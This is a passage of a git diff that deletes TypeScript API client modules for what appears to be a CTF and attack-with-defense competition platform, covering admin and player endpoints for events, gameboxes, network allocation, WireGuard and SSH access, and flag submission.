(event_id: string): Promise> => { - const res = await admin_api.get(`/events/${event_id}/report`); - return res.data; - }, - createChallengeSet: async ({ - name, - description, - challenge_id_list, - }: { - name: string; - description?: string; - challenge_id_list: string[]; - }) => { - const res = await admin_api.post("/challenge_sets", { - name, - description, - challenge_id_list, - }); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/index.ts b/apps/web/src/api/admin/index.ts deleted file mode 100644 index b48176ab..00000000 --- a/apps/web/src/api/admin/index.ts +++ /dev/null @@ -1,30 +0,0 @@ -export { adminLoginFn } from "./auth"; -export { systemAdminApi } from "./system"; -export { settingAdminApi } from "./settings"; -export { announcementAdminApi } from "./announcements"; -export { challengeAdminApi } from "./challenges"; -export { userAdminApi } from "./users"; -export { eventAdminApi } from "./events"; -export { instanceAdminApi } from "./instances"; -export { eventChallengeAdminApi } from "./event_challenges"; -export { eventUserAdminApi } from "./event_users"; -export { eventAnnouncementAdminApi } from "./event_announcements"; -export { eventWriteupAdminApi } from "./event_writeups"; -export { eventTeamAdminApi } from "./event_teams"; -export { eventLogAdminApi } from "./event_logs"; -export { databaseAdminApi } from "./database"; -export { scheduledTaskAdminApi } from "./scheduled_tasks"; -export { weaponsAdminApi } from "./weapons"; -export { logsAdminApi } from "./logs"; -export { downloadAdminApi } from "./download"; -export { discussionAdminApi } from "./discussions"; -export { dashboardAdminApi } from "./dashboard"; -export { superAdminApi } from "./super_admin"; -export { - dockerAdminApi, - type FloatDockerContainer, - type ContainerInfo, - type PortInfo, - type ImageInfo, - type NetworkInfo, -} from "./docker"; diff --git a/apps/web/src/api/admin/logs.ts b/apps/web/src/api/admin/logs.ts deleted file mode 100644 index 1db1fda4..00000000 --- a/apps/web/src/api/admin/logs.ts +++ /dev/null @@ -1,9 +0,0 @@ -import type { Logs } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const logsAdminApi = { - fetch: async (params: QueryParams = {}): Promise> => { - const res = await admin_api.get("/logs", { params }); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/scheduled_tasks.ts b/apps/web/src/api/admin/scheduled_tasks.ts deleted file mode 100644 index 047b8b16..00000000 --- a/apps/web/src/api/admin/scheduled_tasks.ts +++ /dev/null @@ -1,33 +0,0 @@ -import type { ScheduledTasks } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const scheduledTaskAdminApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/scheduled_tasks", { params }); - return res.data; - }, - create: async ( - task: Partial, - ): Promise> => { - const res = await admin_api.post("/scheduled_tasks", task); - return res.data; - }, - patch: async ( - task: Partial, - ): Promise> => { - const res = await admin_api.patch(`/scheduled_tasks/${task.id}`, task); - return res.data; - }, - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/scheduled_tasks", { - data: { id_list }, - }); - return res.data; - }, - run: async (task_id: string): Promise> => { - const res = await admin_api.post(`/scheduled_tasks/${task_id}/run`); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/settings.ts b/apps/web/src/api/admin/settings.ts deleted file mode 100644 index e9da8d05..00000000 --- a/apps/web/src/api/admin/settings.ts +++ /dev/null @@ -1,33 +0,0 @@ -import type { Settings } from "@/entity"; -import { type UniResponse, admin_api } from "@/api/axios"; - -/** - * 管理端 settings 接口的 API DTO。 - * 在生成实体上扩展非列的计算字段。 - */ -export type SettingsDto = Settings & { - resolved_value: string; -}; - -export const settingAdminApi = { - fetch: async (): Promise> => { - const res = await admin_api.get("/settings"); - return res.data; - }, - create: async ( - setting: Partial, - ): Promise> => { - const res = await admin_api.post("/settings", setting); - return res.data; - }, - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/settings", { data: { id_list } }); - return res.data; - }, - patch: async ( - setting: Partial, - ): Promise> => { - const res = await admin_api.patch(`/settings/${setting.id}`, setting); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/super_admin.ts b/apps/web/src/api/admin/super_admin.ts deleted file mode 100644 index 8aa99e1d..00000000 --- a/apps/web/src/api/admin/super_admin.ts +++ /dev/null @@ -1,30 +0,0 @@ -import type { SuperAdmin } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const superAdminApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/super_admin", { params }); - return res.data; - }, - create: async ( - data: Partial, - ): Promise> => { - const res = await admin_api.post("/super_admin", data); - return res.data; - }, - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/super_admin", { - data: { id_list }, - }); - return res.data; - }, - patch: async ( - id: string, - data: Partial, - ): Promise> => { - const res = await admin_api.post(`/super_admin/${id}`, data); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/system.ts b/apps/web/src/api/admin/system.ts deleted file mode 100644 index 6841fc9c..00000000 --- a/apps/web/src/api/admin/system.ts +++ /dev/null @@ -1,13 +0,0 @@ -import { type UniResponse, admin_api } from "@/api/axios"; -import type { SystemInformation } from "@/routes/admin/dashboard"; - -export const systemAdminApi = { - monitor: async (): Promise> => { - const response = await admin_api.get("/system/monitor"); - return response.data; - }, - version: async (): Promise> => { - const response = await admin_api.get("/system/version"); - return response.data; - }, -}; diff --git a/apps/web/src/api/admin/users.ts b/apps/web/src/api/admin/users.ts deleted file mode 100644 index 7120b870..00000000 --- a/apps/web/src/api/admin/users.ts +++ /dev/null @@ -1,22 +0,0 @@ -import type { Users } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const userAdminApi = { - fetch: async (params: QueryParams = {}): Promise> => { - const res = await admin_api.get("/users", { params }); - console.log(res.data); - return res.data; - }, - create: async (user: Partial): Promise> => { - const res = await admin_api.post("/users", user); - return res.data; - }, - patch: async (user: Partial): Promise> => { - const res = await admin_api.patch(`/users/${user.id}`, user); - return res.data; - }, - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/users", { data: { id_list } }); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/weapons.ts b/apps/web/src/api/admin/weapons.ts deleted file mode 100644 index 8f6d8162..00000000 --- a/apps/web/src/api/admin/weapons.ts +++ /dev/null @@ -1,41 +0,0 @@ -import type { Weapons } from "@/entity/weapons"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const weaponsAdminApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/weapons", { params }); - return res.data; - }, - create: async (weapon: Partial): Promise> => { - const res = await admin_api.post("/weapons", weapon); - return res.data; - }, - patch: async (weapon: Partial): Promise> => { - const res = await admin_api.patch(`/weapons/${weapon.id}`, weapon); - return res.data; - }, - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/weapons", { data: { id_list } }); - return res.data; - }, - upload: async ( - weapon_id: string, - weapon: File, - ): Promise> => { - const formData = new FormData(); - formData.append("weapon", weapon); - - const res = await admin_api.post( - `/weapons/${weapon_id}/upload`, - formData, - { - headers: { - "Content-Type": "multipart/form-data", - }, - }, - ); - return res.data; - }, -}; diff --git a/apps/web/src/api/awd.ts b/apps/web/src/api/awd.ts deleted file mode 100644 index 873f7803..00000000 --- a/apps/web/src/api/awd.ts +++ /dev/null @@ -1,635 +0,0 @@ -/** - * AWD 管理端 + 选手端 API 客户端(统一赛事路由)。 - * 管理端:/api/admin/events/{eventId}/awd/...(创建:POST /api/admin/events/awd) - * 选手端:/api/events/{eventId}/awd/... - */ -import { - type QueryParams, - type UniResponse, - admin_api, - service_api, -} from "@/api/axios"; - -export type AwdEventStatus = { - event_id: string; - status: string; - phase: string; - round_count: number | null; - round_duration_secs: number; - initial_score: number; - free_reset_count: number; - extra_reset_penalty: number; - judge_max_concurrency: number; - judge_default_timeout_secs: number; - judge_retry_interval_secs: number; - archive_retention_hours: number; - planned_start_at: string | null; - verified_at: string | null; - started_at: string | null; - updated_at: string; - /** Derived: final round completed, Judge still settling. Competition closed. */ - final_settlement: boolean; -}; - -export type AwdEventConfigInput = { - /** PATCH 乐观锁版本;首次创建可省略。 */ - expected_updated_at?: string; - round_count?: number; - round_duration_secs?: number; - initial_score?: number; - free_reset_count?: number; - extra_reset_penalty?: number; - judge_max_concurrency?: number; - judge_default_timeout_secs?: number; - judge_retry_interval_secs?: number; - archive_retention_hours?: number; - planned_start_at?: string; - clear_planned_start?: boolean; -}; - -export type AwdGameBox = { - id: string; - team_id: string; - event_gamebox_id: string; - gamebox_name: string; - status: string; - gamebox_ip: string; - container_name: string; - health_status: string; -}; - -export type GameBoxLibraryDto = { - id: string; - name: string; - safe_name: string; - category: string; - description: string; - hidden: boolean; - version: string | null; - build_status: string | null; - package_digest: string | null; - image_ref: string | null; - image_repo_digest: string | null; - username: string | null; - cpu_millis: number | null; - memory_bytes: number | null; - pids_limit: number | null; - healthchecks_json: unknown | null; - judge_script_name: string | null; - judge_script_content: string | null; - judge_args_json: unknown | null; - judge_timeout_secs: number | null; - judge_retry_interval_secs: number | null; -}; - -export type ImportGameBoxResponse = { - gamebox: GameBoxLibraryDto; -}; - -/** POST /awd/gameboxes/scan 结果行。 */ -export type GameBoxScanItem = { - safe_name: string; - name: string | null; - version: string | null; - status: "added" | "skipped" | "error"; - message: string; -}; - -/** POST /awd/gameboxes/check 结果行。 */ -export type GameBoxCheckResult = { - id: string; - gamebox_name: string; - is_ok: boolean; - docker_image: boolean; - package_dir: boolean; -}; - -/** POST /awd/gameboxes/build 结果行。 */ -export type GameBoxBuildResult = { - gamebox_name: string; - is_ok: boolean; - message: string; -}; - -export type EventGameBoxDto = { - id: string; - gamebox_id: string; - gamebox_name: string; - gamebox_safe_name: string; - gamebox_version: string | null; - host_offset: number; - enabled: boolean; - hidden: boolean; - cpu_millis: number; - memory_bytes: number; - pids_limit: number; - judge_timeout_secs: number | null; - judge_retry_interval_secs: number | null; - attack_score: number; - judge_down_penalty: number; - first_bonus: number; - created_at: string; -}; - -/** @deprecated Manual create-with-config removed; use package import. */ -export type GameBoxConfigPayload = { - name?: string; - category?: string; - description?: string; - hidden?: boolean; -}; - -export type AwdScoreRow = { - team_id: string; - team_name: string; - attack_score: number; - defense_score: number; - total_score: number; - rank: number; -}; - -/** 预检运行记录(GET /api/admin/events/{event_id}/awd/prechecks)。 - * - * `error_msg` 为后端落库的 JSON 文本: - * `{"errors":[{"component","error"}],"notes":[{"component","note"}]}`。 - */ -export type AwdPrecheckRun = { - id: string; - event_id: string; - status: string; - trigger?: string | null; - revision?: number | null; - error_msg?: string | null; - started_at?: string | null; - completed_at?: string | null; -}; - -/** 选手端 AWD 赛事状态(GET /api/events/{event_id}/awd/status)。 */ -export type AwdPlayerStatus = { - event_id: string; - status: string; - phase: string; - current_round: number | null; - round_count: number | null; - banned: boolean; - score: number | null; - /** Derived: final round completed, Judge still settling. Competition closed. */ - final_settlement: boolean; -}; - -export type WireGuardConfigResponse = { - config: string; -}; - -// ── AWD 网络控制面(§4-§7 / §22-§24 / §64-§67 / §73)── - -/** 平台网络设置 + 容量预览(GET /admin/awd/network)。 */ -export type PlatformNetworkSettings = { - gamebox_pool: string; - gamebox_event_prefix: number; - gamebox_team_prefix: number; - wireguard_pool: string; - wireguard_event_prefix: number; - wireguard_team_prefix: number; - wireguard_port_min: number; - wireguard_port_max: number; - wireguard_public_endpoint: string | null; - updated_at: string; - // 容量预览(§67,来自 GET 计算) - gamebox_event_capacity: number; - gamebox_team_capacity_per_event: number; - gamebox_hosts_per_team: number; - wireguard_event_capacity: number; - wireguard_team_capacity_per_event: number; - wireguard_port_capacity: number; -}; - -/** PATCH /admin/awd/network 的请求体(全部可选,部分更新)。 */ -export type PlatformNetworkSettingsUpdate = { - gamebox_pool?: string; - gamebox_event_prefix?: number; - gamebox_team_prefix?: number; - wireguard_pool?: string; - wireguard_event_prefix?: number; - wireguard_team_prefix?: number; - wireguard_port_min?: number; - wireguard_port_max?: number; - wireguard_public_endpoint?: string | null; -}; - -/** PATCH 响应:返回更新的少量字段(含 note)。 */ -export type PlatformNetworkSettingsUpdateResponse = Partial< - Pick< - PlatformNetworkSettings, - | "gamebox_pool" - | "wireguard_pool" - | "wireguard_public_endpoint" - | "updated_at" - > -> & { note?: string }; - -/** Host 观测状态(§4.1,纯只读)。 */ -export type PlatformNetworkHealth = { - nftables: string; - wireguard: string; - docker: string; - firewall_runtime: string; - floatctf_table: string; - docker_firewall_backend: string | null; - firewalld: string; - ipv4_forwarding: string | null; - ipv6_policy: string; - capability_supported: boolean; - notes: string[]; -}; - -/** 平台分配账本行(§7/§66)。 */ -export type PlatformNetworkAllocation = { - event_id: string; - event_title: string | null; - kind: string; - cidr: string; - allocated_at: string; - released_at: string | null; - active: boolean; -}; - -/** Event Network(§22/§64):未分配时 GET 返回 404(data=null)。 */ -export type EventNetworkInfo = { - event_id: string; - allocation_mode: string; - gamebox_cidr: string; - wireguard_cidr: string; - infrastructure_subnet: string; - flagserver_ip: string; - judgeserver_ip: string; - wireguard_interface_name: string; - wireguard_listen_port: number; - docker_network_name: string; - locked: boolean; -}; - -/** PUT /events/{eventId}/awd/network 请求体(automatic 默认;manual 需两个 CIDR)。 */ -export type NetworkAllocationRequest = { - allocation_mode?: "automatic" | "manual"; - gamebox_cidr?: string; - wireguard_cidr?: string; - wireguard_listen_port?: number; -}; - -/** 管理端 AWD 生命周期(SuperAdmin)。 */ -export const awdAdminApi = { - getStatus: async ( - eventId: string, - ): Promise> => { - const res = await admin_api.get(`/events/${eventId}/awd`); - return res.data; - }, - createEvent: async ( - body: AwdEventConfigInput & { event_id: string }, - ): Promise> => { - const res = await admin_api.post("/events/awd", body); - return res.data; - }, - updateConfig: async ( - eventId: string, - body: AwdEventConfigInput, - ): Promise> => { - const res = await admin_api.patch(`/events/${eventId}/awd`, body); - return res.data; - }, - deploy: async (eventId: string): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/deploy`); - return res.data; - }, - start: async (eventId: string): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/start`); - return res.data; - }, - pause: async (eventId: string): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/pause`); - return res.data; - }, - resume: async (eventId: string): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/resume`); - return res.data; - }, - finish: async (eventId: string): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/finish`); - return res.data; - }, - precheck: async (eventId: string): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/precheck`); - return res.data; - }, - // 最近一次预检的 errors/notes:运维页据此展示失败原因(原先只显示 Verification Failed)。 - prechecks: async ( - eventId: string, - ): Promise> => { - const res = await admin_api.get(`/events/${eventId}/awd/prechecks`); - return res.data; - }, - scores: async (eventId: string): Promise> => { - const res = await admin_api.get(`/events/${eventId}/awd/scores`); - return res.data; - }, - archive: async (eventId: string): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/archive`); - return res.data; - }, - resetGamebox: async ( - eventId: string, - instanceId: string, - ): Promise> => { - const res = await admin_api.post( - `/events/${eventId}/awd/gameboxes/${instanceId}/reset`, - ); - return res.data; - }, - /** 手动封禁队伍(无定时,需管理员手动解封)。 */ - banTeam: async ( - eventId: string, - teamId: string, - body: { reason?: string }, - ): Promise> => { - const res = await admin_api.post( - `/events/${eventId}/awd/teams/${teamId}/ban`, - { - reason: body.reason, - }, - ); - return res.data; - }, - /** P4-5:AWD 解封(反向闭环:DB unbanned → WG 恢复 peers → banned set reconcile)。 */ - unbanTeam: async ( - eventId: string, - teamId: string, - ): Promise> => { - const res = await admin_api.delete( - `/events/${eventId}/awd/teams/${teamId}/ban`, - ); - return res.data; - }, - /** P3-10:内部 token 轮换(key_version+1 + 容器 rollout + 审计)。 */ - rotateTokens: async (eventId: string): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/tokens/rotate`); - return res.data; - }, - /** P5-11:AWD 分数调整(审计)。 */ - adjustScore: async ( - eventId: string, - body: { team_id: string; delta: number; reason: string }, - ): Promise> => { - const res = await admin_api.post( - `/events/${eventId}/awd/score/adjust`, - body, - ); - return res.data; - }, - // ── GameBox 库(identity + revisions;package import)── - listGameboxes: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/awd/gameboxes`, { params }); - return res.data; - }, - /** POST multipart 字段 `package_zip`——同步构建。 */ - importGamebox: async ( - file: File | Blob, - ): Promise> => { - const form = new FormData(); - form.append("package_zip", file); - const res = await admin_api.post(`/awd/gameboxes/import`, form, { - headers: { "Content-Type": "multipart/form-data" }, - }); - return res.data; - }, - updateGamebox: async ( - gameboxId: string, - body: { - name?: string; - category?: string; - description?: string; - hidden?: boolean; - username?: string | null; - recommended_cpu_millis?: number | null; - recommended_memory_bytes?: number | null; - recommended_pids_limit?: number | null; - /** JSON 文本;null 清空。 */ - healthchecks_json?: string | null; - judge_script_name?: string | null; - judge_script_content?: string | null; - /** JSON 文本;null 清空。 */ - judge_args_json?: string | null; - judge_timeout_secs?: number | null; - judge_retry_interval_secs?: number | null; - }, - ): Promise> => { - const res = await admin_api.patch(`/awd/gameboxes/${gameboxId}`, body); - return res.data; - }, - hideGamebox: async (gameboxId: string): Promise> => { - const res = await admin_api.post(`/awd/gameboxes/${gameboxId}/hide`); - return res.data; - }, - // 批量删除(仿 challenges.remove):仅未被赛事 / AWDP Run 引用的可删 - removeGamebox: async (id_list: string[]): Promise> => { - const res = await admin_api.delete(`/awd/gameboxes`, { - data: { id_list }, - }); - return res.data; - }, - scanGameboxes: async (): Promise> => { - const res = await admin_api.post(`/awd/gameboxes/scan`); - return res.data; - }, - checkGameboxes: async ( - gamebox_id_list?: string[], - ): Promise> => { - const res = await admin_api.post("/awd/gameboxes/check", { - gamebox_id_list, - }); - return res.data; - }, - buildGameboxes: async ( - gamebox_id_list?: string[], - ): Promise> => { - const res = await admin_api.post("/awd/gameboxes/build", { - gamebox_id_list, - }); - return res.data; - }, - // ── 平台网络(Control Plane,§73)── - getPlatformNetwork: async (): Promise< - UniResponse - > => { - const res = await admin_api.get(`/awd/network`); - return res.data; - }, - updatePlatformNetwork: async ( - body: PlatformNetworkSettingsUpdate, - ): Promise> => { - const res = await admin_api.patch(`/awd/network`, body); - return res.data; - }, - /** §4.1 Host 观测状态(纯只读)。 */ - getPlatformNetworkHealth: async (): Promise< - UniResponse - > => { - const res = await admin_api.get(`/awd/network/health`); - return res.data; - }, - /** §7/§66 平台分配账本(只读)。 */ - getPlatformNetworkAllocations: async (): Promise< - UniResponse - > => { - const res = await admin_api.get(`/awd/network/allocations`); - return res.data; - }, - // ── 赛事网络(§22/§64)── - /** 未分配时后端返回 404(data=null)。 */ - getEventNetwork: async ( - eventId: string, - ): Promise> => { - const res = await admin_api.get(`/events/${eventId}/awd/network`); - return res.data; - }, - /** PUT 分配:无 body 即 automatic;manual 需 gamebox_cidr + wireguard_cidr。 */ - allocateEventNetwork: async ( - eventId: string, - body: NetworkAllocationRequest, - ): Promise> => { - const res = await admin_api.put(`/events/${eventId}/awd/network`, body); - return res.data; - }, - /** §33/§93 重新分配(仅未锁定)。 */ - reallocateEventNetwork: async ( - eventId: string, - ): Promise> => { - const res = await admin_api.post( - `/events/${eventId}/awd/network/reallocate`, - ); - return res.data; - }, - // ── 赛事 GameBox 选择(EventGameBox)── - listEventGameboxes: async ( - eventId: string, - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/events/${eventId}/awd/gameboxes`, { - params, - }); - return res.data; - }, - addEventGamebox: async ( - eventId: string, - body: { - gamebox_id: string; - host_offset?: number; - hidden?: boolean; - attack_score?: number; - judge_down_penalty?: number; - first_bonus?: number; - }, - ): Promise> => { - const res = await admin_api.post(`/events/${eventId}/awd/gameboxes`, body); - return res.data; - }, - updateEventGamebox: async ( - eventId: string, - eventGameboxId: string, - body: { - enabled?: boolean; - hidden?: boolean; - cpu_millis?: number; - memory_bytes?: number; - pids_limit?: number; - judge_timeout_secs?: number | null; - judge_retry_interval_secs?: number | null; - attack_score?: number; - judge_down_penalty?: number; - first_bonus?: number; - }, - ): Promise> => { - const res = await admin_api.patch( - `/events/${eventId}/awd/gameboxes/${eventGameboxId}`, - body, - ); - return res.data; - }, - removeEventGamebox: async ( - eventId: string, - eventGameboxId: string, - ): Promise> => { - const res = await admin_api.delete( - `/events/${eventId}/awd/gameboxes/${eventGameboxId}`, - ); - return res.data; - }, -}; - -/** 选手端 AWD 接口(用户 JWT)。 */ -export const awdPlayerApi = { - /** 获取 AWD 赛事状态(phase, round, ban state, score)。 */ - status: async (eventId: string): Promise> => { - const res = await service_api.get(`/events/${eventId}/awd/status`); - return res.data; - }, - gameboxes: async (eventId: string): Promise> => { - const res = await service_api.get(`/events/${eventId}/awd/gameboxes`); - return res.data; - }, - resetGamebox: async ( - eventId: string, - instanceId: string, - ): Promise> => { - const res = await service_api.post( - `/events/${eventId}/awd/gameboxes/${instanceId}/reset`, - ); - return res.data; - }, - submitFlag: async ( - eventId: string, - flag: string, - ): Promise> => { - const res = await service_api.post(`/events/${eventId}/awd/submissions`, { - flag, - }); - return res.data; - }, - scores: async (eventId: string): Promise> => { - const res = await service_api.get(`/events/${eventId}/awd/scores`); - return res.data; - }, - wireguardConfig: async ( - eventId: string, - ): Promise> => { - const res = await service_api.get( - `/events/${eventId}/awd/wireguard/config`, - ); - return res.data; - }, - /** - * 队伍级 SSH 访问凭据(GET /events/{eventId}/awd/ssh-config)。 - */ - sshConfig: async ( - eventId: string, - ): Promise> => { - const res = await service_api.get(`/events/${eventId}/awd/ssh-config`); - return res.data; - }, -}; - -export type SshInstanceInfo = { - id: string; - gamebox_ip: string; - username: string; - container_name: string; - health_status: string; -}; - -export type SshAccessResponse = { - port: number; - password: string; - instances: SshInstanceInfo[]; -}; diff --git a/apps/web/src/api/axios.ts b/apps/web/src/api/axios.ts deleted file mode 100644 index 5193b115..00000000 --- a/apps/web/src/api/axios.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { ADMIN_API_URL, API_URL } from "@/config"; -import { router } from "@/main"; -import { useAuthStore } from "@/stores/AuthStore"; - -import axios from "axios"; -export const service_api = axios.create({ - baseURL: API_URL, -}); - -export const admin_api = axios.create({ - baseURL: ADMIN_API_URL, -}); - -admin_api.interceptors.request.use((config) => { - const token = useAuthStore.getState().adminToken; - if (token) { - config.headers.Authorization = `Bearer ${token}`; - } - return config; -}); -admin_api.interceptors.response.use( - (response) => { - // console.log(response); - return response; - }, - - (error) => { - // 网络层失败(超时 / 连接中断)没有 response:必须用可选链, - // 否则真正的错误会被 TypeError 覆盖成 "reading 'status'"。 - if (error.response?.status === 401) { - useAuthStore.getState().removeAdminToken(); - router.navigate({ to: "/admin" }); - } - console.log(error); - return Promise.reject(error); - }, -); -service_api.interceptors.request.use((config) => { - const token = useAuthStore.getState().token; - if (token) { - config.headers.Authorization = `Bearer ${token}`; - } - return config; -}); -service_api.interceptors.response.use( - (response) => { - // console.log(response); - return response; - }, - (error) => { - // 同上:没有 response 的网络错误不得读 response.status。 - if (error.response?.status === 401) { - useAuthStore.getState().removeToken(); - router.navigate({ to: "/" }); - } - console.log(error); - return Promise.reject(error); - }, -); - -export type QueryParams = { - offset?: number; - limit?: number; - page?: number; - total?: number; - filter?: string; -}; - -export type UniResponse = { - code: number; - message: string; - data?: T; - meta?: QueryParams; -}; diff --git a/apps/web/src/api/index.ts b/apps/web/src/api/index.ts deleted file mode 100644 index 646af353..00000000 --- a/apps/web/src/api/index.ts +++ /dev/null @@ -1,87 +0,0 @@ -export * from "@/api/axios"; -import { - type FloatDockerContainer, - type ImageInfo, - type NetworkInfo, - adminLoginFn, - announcementAdminApi, - challengeAdminApi, - dashboardAdminApi, - databaseAdminApi, - discussionAdminApi, - dockerAdminApi, - downloadAdminApi, - eventAdminApi, - eventAnnouncementAdminApi, - eventChallengeAdminApi, - eventLogAdminApi, - eventTeamAdminApi, - eventUserAdminApi, - eventWriteupAdminApi, - instanceAdminApi, - logsAdminApi, - scheduledTaskAdminApi, - settingAdminApi, - superAdminApi, - systemAdminApi, - userAdminApi, - weaponsAdminApi, -} from "@/api/admin"; - -import { - announcementServiceApi, - challengeServiceApi, - discussionServiceApi, - eventServiceApi, - instanceServiceApi, - solveServiceApi, - submitServiceApi, - uploadsServiceApi, - userServiceApi, - weaponsServiceApi, -} from "@/api/service"; -import { awdAdminApi, awdPlayerApi } from "./awd"; - -export type { FloatDockerContainer, ImageInfo, NetworkInfo }; -export { awdAdminApi, awdPlayerApi }; - -export const adminApi = { - login: adminLoginFn, - system: systemAdminApi, - settings: settingAdminApi, - announcements: announcementAdminApi, - challenges: challengeAdminApi, - discussions: discussionAdminApi, - users: userAdminApi, - events: eventAdminApi, - instances: instanceAdminApi, - event_challenges: eventChallengeAdminApi, - event_users: eventUserAdminApi, - event_announcements: eventAnnouncementAdminApi, - event_logs: eventLogAdminApi, - event_writeups: eventWriteupAdminApi, - event_teams: eventTeamAdminApi, - database: databaseAdminApi, - scheduled_tasks: scheduledTaskAdminApi, - weapons: weaponsAdminApi, - logs: logsAdminApi, - download: downloadAdminApi, - docker: dockerAdminApi, - dashboard: dashboardAdminApi, - super_admin: superAdminApi, - awd: awdAdminApi, -}; - -export const serviceApi = { - users: userServiceApi, - events: eventServiceApi, - challenges: challengeServiceApi, - instances: instanceServiceApi, - submit: submitServiceApi, - solves: solveServiceApi, - weapons: weaponsServiceApi, - announcements: announcementServiceApi, - discussions: discussionServiceApi, - uploads: uploadsServiceApi, - awd: awdPlayerApi, -}; diff --git a/apps/web/src/api/queries/__tests__/query-keys.test.ts b/apps/web/src/api/queries/__tests__/query-keys.test.ts deleted file mode 100644 index ce61c401..00000000 --- a/apps/web/src/api/queries/__tests__/query-keys.test.ts +++ /dev/null @@ -1,40 +0,0 @@ -import { - challengeInstanceQueryOptions, - challengeQueryOptions, - eventInfoQueryOptions, - systemInformationQueryOptions, -} from "@/api/queries"; -// @vitest-environment jsdom -// query options 工厂必须保持与原先 useQuery 完全相同的 query key, -// 因为既有代码按 key 做 invalidate/refetch -// (例如 useAwdEventStream.invalidateQueries)。 -import { describe, expect, it } from "vitest"; - -describe("query options factory keys", () => { - it("eventInfo keeps key ['eventInfo', id]", () => { - expect(eventInfoQueryOptions("abc-123").queryKey).toEqual([ - "eventInfo", - "abc-123", - ]); - }); - - it("challenge keeps key ['challenge', id]", () => { - expect(challengeQueryOptions("abc-123").queryKey).toEqual([ - "challenge", - "abc-123", - ]); - }); - - it("instance keeps key ['instance', id]", () => { - expect(challengeInstanceQueryOptions("abc-123").queryKey).toEqual([ - "instance", - "abc-123", - ]); - }); - - it("system_information keeps key ['system_information']", () => { - expect(systemInformationQueryOptions().queryKey).toEqual([ - "system_information", - ]); - }); -}); diff --git a/apps/web/src/api/queries/index.ts b/apps/web/src/api/queries/index.ts deleted file mode 100644 index 6ddec316..00000000 --- a/apps/web/src/api/queries/index.ts +++ /dev/null @@ -1,9 +0,0 @@ -// 选手端 query options -export { eventInfoQueryOptions } from "./service/events"; -export { - challengeQueryOptions, - challengeInstanceQueryOptions, -} from "./service/challenges"; - -// 管理端 query options -export { systemInformationQueryOptions } from "./admin/system"; diff --git a/apps/web/src/api/service/announcements.ts b/apps/web/src/api/service/announcements.ts deleted file mode 100644 index f0da67cd..00000000 --- a/apps/web/src/api/service/announcements.ts +++ /dev/null @@ -1,11 +0,0 @@ -import type { Announcements } from "@/entity"; -import { type QueryParams, type UniResponse, service_api } from "../axios"; - -export const announcementServiceApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get("/announcements", { params }); - return res.data; - }, -}; diff --git a/apps/web/src/api/service/challenges.ts b/apps/web/src/api/service/challenges.ts deleted file mode 100644 index 9a6b7d29..00000000 --- a/apps/web/src/api/service/challenges.ts +++ /dev/null @@ -1,102 +0,0 @@ -import type { InstancesDto as Instances } from "./instances"; -import type { - ChallengeSets, - ChallengeWriteup, - Challenges, -} from "@/entity"; -import type { ChallengeWriteupResult } from "@/routes/service/challenges/$id/writeup"; -import type { ChallengesListItem } from "@/types/challengeDto"; -import { type QueryParams, type UniResponse, service_api } from "../axios"; - -/** 全局 Writeup 列表统一条目(challenge + gamebox 合并;writeup_type 区分类型)。 */ -export type UnifiedWriteupResult = { - id: string; - writeup_type: "challenge" | "gamebox"; - nickname: string; - avatar?: string | null; - email: string; - content_id: string; - content_name: string; - updated_at: string; -}; - -/** 单个 Writeup 详情统一条目(challenge + gamebox 都能渲染;gamebox 的 id 即 run_id)。 */ -export type UnifiedWriteupDetail = { - id: string; - writeup_type: "challenge" | "gamebox"; - content_id: string; - content_name: string; - category?: string | null; - nickname: string; - avatar?: string | null; - email: string; - content: string; - created_at: string; - updated_at: string; -}; - -export const challengeServiceApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get("/challenges", { params }); - return res.data; - }, - get: async (id: string): Promise> => { - const res = await service_api.get(`/challenges/${id}`); - return res.data; - }, - getInstance: async (id: string): Promise> => { - const res = await service_api.get(`/challenges/${id}/instance`); - return res.data; - }, - getMyWriteup: async ( - challenge_id: string, - ): Promise> => { - const res = await service_api.get(`/challenges/${challenge_id}/my_writeup`); - return res.data; - }, - createMyWriteup: async ({ - challenge_id, - content, - }: { - challenge_id: string; - content: string; - }): Promise> => { - const res = await service_api.post( - `/challenges/${challenge_id}/my_writeup`, - { - content, - }, - ); - return res.data; - }, - getWriteup: async ( - id: string, - ): Promise> => { - const res = await service_api.get(`/writeups/${id}`); - return res.data; - }, - getWriteups: async ( - challenge_id: string, - ): Promise> => { - const res = await service_api.get(`/challenges/${challenge_id}/writeups`); - return res.data; - }, - getAllWriteups: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get("/writeups", { params }); - return 